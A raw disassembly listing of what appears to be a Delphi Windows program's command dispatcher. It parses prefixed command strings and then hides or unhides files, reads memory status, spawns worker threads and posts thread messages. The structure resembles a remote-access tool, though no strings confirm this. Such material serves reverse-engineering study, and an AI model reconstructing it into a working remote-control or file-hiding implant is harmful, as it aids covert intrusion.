call fcn.004054c0
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
call fcn.00463d3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485a3e
lea eax, [ebp - 0x6f4]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x6f4]
mov edx, 0x48d444
call fcn.00405850
jne 0x485ae7
xor eax, eax
push ebp
push 0x485ad3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
je 0x485a9a
mov eax, dword [ebp - 0x348]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x348], eax
lea eax, [ebp - 0x6f8]
push eax
mov ecx, dword [ebp - 0x348]
mov edx, 7
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x6f8]
call fcn.00463d20
mov eax, 0x48cf9c
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485ae7
lea eax, [ebp - 0x6fc]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x6fc]
mov edx, 0x48d47c
call fcn.00405850
jne 0x485b82
lea eax, [ebp - 4]
mov ecx, 6
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x485b6e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x48d48c
push dword [ebp - 4]
push 0x48d49c
lea eax, [ebp - 0x700]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x700]
call fcn.004637e4
mov eax, 0x48cf9c
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485b82
lea eax, [ebp - 0x704]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x704]
mov edx, 0x48d4d4
call fcn.00405850
jne 0x485bfb
xor eax, eax
push ebp
push 0x485be7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
push 2
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485bfb
lea eax, [ebp - 0x708]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x708]
mov edx, 0x48d510
call fcn.00405850
jne 0x485c77
xor eax, eax
push ebp
push 0x485c63
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
push 0x80
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485c77
mov eax, dword [ebp - 4]
mov edx, 0x48d54c
call fcn.00405850
jne 0x485d2f
xor eax, eax
push ebp
push 0x485d1b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x39c]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
push 0x48d54c
call fcn.00464f04
lea edx, [ebp - 0x710]
call fcn.00409cd4
push dword [ebp - 0x710]
push 0x48cb6c
lea eax, [ebp - 0x714]
push eax
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x71c], eax
mov byte [ebp - 0x718], 0
lea edx, [ebp - 0x71c]
xor ecx, ecx
mov eax, 0x48d55c
call fcn.0040af68
push dword [ebp - 0x714]
lea eax, [ebp - 0x70c]
mov edx, 4
call fcn.004057bc
mov eax, dword [ebp - 0x70c]
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485d2f
lea eax, [ebp - 0x720]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x720]
mov edx, 0x48d594
call fcn.00405850
jne 0x485f97
lea eax, [ebp - 4]
mov ecx, 0xb
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x8c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x90]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x94]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8824
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8828
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov eax, 0x4a882c
mov edx, dword [ebp - 4]
call fcn.0040547c
xor eax, eax
push ebp
push 0x485f83
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xc
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov eax, dword [ebp - 0x94]
mov edx, 0x48d340
call fcn.00405850
jne 0x485f1d
mov eax, ebx
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0x2f4]
mov edx, dword [ebp - 0x8c]
call fcn.0040547c
mov eax, dword [ebp - 0x2f4]
add eax, 4
mov edx, dword [ebp - 0x90]
call fcn.0040547c
mov eax, dword [ebp - 0x2f4]
mov byte [eax + 8], 1
jmp 0x485f54
mov eax, ebx
mov dword [ebp - 0x2f8], eax
mov eax, dword [ebp - 0x2f8]
mov edx, dword [ebp - 0x8c]
call fcn.0040547c
mov eax, dword [ebp - 0x2f8]
add eax, 4
mov edx, dword [ebp - 0x90]
call fcn.0040547c
mov eax, dword [ebp - 0x2f8]
mov byte [eax + 8], 0
mov byte [0x4a2304], 0
lea eax, [ebp - 0x2ac]
push eax
push 0
push ebx
push 0x4827c4
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485f97
mov eax, dword [ebp - 4]
mov edx, 0x48d5bc
call fcn.00405850
jne 0x485fd9
xor eax, eax
push ebp
push 0x485fc5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x4a2304], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485fd9
lea eax, [ebp - 0x724]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x724]
mov edx, 0x48d5f8
call fcn.00405850
jne 0x48605c
xor eax, eax
push ebp
push 0x486048
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x72c]
call fcn.00465078
mov ecx, dword [ebp - 0x72c]
lea eax, [ebp - 0x728]
mov edx, 0x48d5f8
call fcn.00405740
mov eax, dword [ebp - 0x728]
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48605c
lea eax, [ebp - 0x730]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x730]
mov edx, 0x48d638
call fcn.00405850
jne 0x4861bf
lea eax, [ebp - 4]
mov ecx, 7
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4861ab
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
lea eax, [ebp - 0x734]
call fcn.00464410
mov edx, dword [ebp - 0x734]
mov eax, esi
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4861bf
lea eax, [ebp - 0x738]
push eax
mov ecx, 0x13
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x738]
mov edx, 0x48d674
call fcn.00405850
jne 0x48635c
lea eax, [ebp - 4]
mov ecx, 0x13
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x486348
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
mov eax, dword [ebp - 0x1c]
call fcn.00409e40
lea edx, [ebp - 0x73c]
call fcn.004641d4
mov edx, dword [ebp - 0x73c]
mov eax, esi
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 4]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48635c
lea eax, [ebp - 0x740]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x740]
mov edx, 0x48d6bc
call fcn.00405850
jne 0x48649e
lea eax, [ebp - 4]
mov ecx, 0xb
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x9c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
call fcn.00409e40
mov edi, eax
xor eax, eax
push ebp
push 0x48648a
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, edi
test ebx, ebx
jle 0x486476
mov esi, 1
cmp edi, esi
je 0x486462
lea eax, [ebp - 0x744]
push eax
mov edx, dword [ebp - 0x9c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x9c]
call fcn.00405920
mov eax, dword [ebp - 0x744]
call fcn.00409e40
call fcn.004636b8
mov edx, dword [ebp - 0x9c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x9c]
mov edx, 1
call fcn.00405960
jmp 0x486472
mov eax, dword [ebp - 0x9c]
call fcn.00409e40
call fcn.004636b8
inc esi
dec ebx
jne 0x486400
mov eax, 0x48d6d0
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48649e
lea eax, [ebp - 0x748]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x748]
mov edx, 0x48d710
call fcn.00405850
jne 0x48651e
lea eax, [ebp - 4]
mov ecx, 0xc
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x48650a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409e40
call fcn.004636b8
mov eax, 0x48d6d0
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48651e
lea eax, [ebp - 0x74c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x74c]
mov edx, 0x48d728
call fcn.00405850
jne 0x486746
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x486732
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xa0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xa4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xa8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xac]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0xb0]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
lea ecx, [ebp - 0x750]
mov edx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
call fcn.00465348
push dword [ebp - 0x750]
push 0x48cb6c
lea ecx, [ebp - 0x754]
mov edx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
call fcn.00465408
push dword [ebp - 0x754]
mov eax, esi
mov edx, 3
call fcn.004057bc
lea eax, [esi + 4]
mov edx, dword [ebp - 0xa8]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0xac]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0xb0]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x486746
lea eax, [ebp - 0x758]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x758]
mov edx, 0x48d768
call fcn.00405850
jne 0x486826
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x486812
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
lea eax, [ebp - 4]
mov ecx, 1
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x44]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48d778
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48d778
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
call fcn.00464a44
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x486826
lea eax, [ebp - 0x75c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x75c]
mov edx, 0x48d7b8
call fcn.00405850
jne 0x4868fc
xor eax, eax
push ebp
push 0x4868e8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
je 0x486898
mov eax, dword [ebp - 0x34c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x760]
push eax
mov ecx, dword [ebp - 0x34c]
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x760]
push eax
lea eax, [ebp - 0x764]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x764]
pop edx
call fcn.00464bac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4868fc
lea eax, [ebp - 0x768]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x768]
mov edx, 0x48d7f8
call fcn.00405850
jne 0x4869d2
xor eax, eax
push ebp
push 0x4869be
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0
je 0x48696e
mov eax, dword [ebp - 0x350]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x350], eax
lea eax, [ebp - 0x76c]
push eax
mov ecx, dword [ebp - 0x350]
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x76c]
push eax
lea eax, [ebp - 0x770]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x770]
pop edx
call fcn.004648c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4869d2
lea eax, [ebp - 0x774]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x774]
mov edx, 0x48d83c
call fcn.00405850
jne 0x486b08
lea eax, [ebp - 4]
mov ecx, 5
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x486af4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x44]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x48]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
call fcn.004659b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x486b08
lea eax, [ebp - 0x778]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x778]
mov edx, 0x48d880
call fcn.00405850
jne 0x486c3e
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x486c2a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x44]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x48]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
call fcn.004657e8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x486c3e
lea eax, [ebp - 0x77c]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x77c]
mov edx, 0x48d8c8
call fcn.00405850
jne 0x486d74
lea eax, [ebp - 4]
mov ecx, 0x11
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x486d60
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x44]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x48]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
call fcn.004658d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x486d74
lea eax, [ebp - 0x780]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x780]
mov edx, 0x48d920
call fcn.00405850
jne 0x486f64
lea eax, [ebp - 4]
mov ecx, 6
mov edx, 1
call fcn.00405960
push 0x4a885c
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8860
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8864
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8868
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov eax, dword [ebp - 0x1c]
mov edx, 0x48d930
call fcn.00405850
jne 0x486f29
mov eax, dword [0x4a23d8]
cmp dword [eax], 0
je 0x486f64
mov eax, dword [0x4a8868]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0
je 0x486f06
mov eax, dword [ebp - 0x358]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x358], eax
mov eax, dword [0x4a8868]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x358]
push eax
push 6
mov eax, dword [0x4a23d8]
mov eax, dword [eax]
push eax
call sub.user32.dll_PostThreadMessageW
jmp 0x486f64
mov eax, dword [ebp - 0x1c]
mov edx, 0x48d940
call fcn.00405850
jne 0x486f64
mov eax, dword [0x4a23d8]
cmp dword [eax], 0
jne 0x486f64
mov eax, dword [0x4a23d8]
push eax
push 0
push 0
push 0x48f430
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, 0x48d950
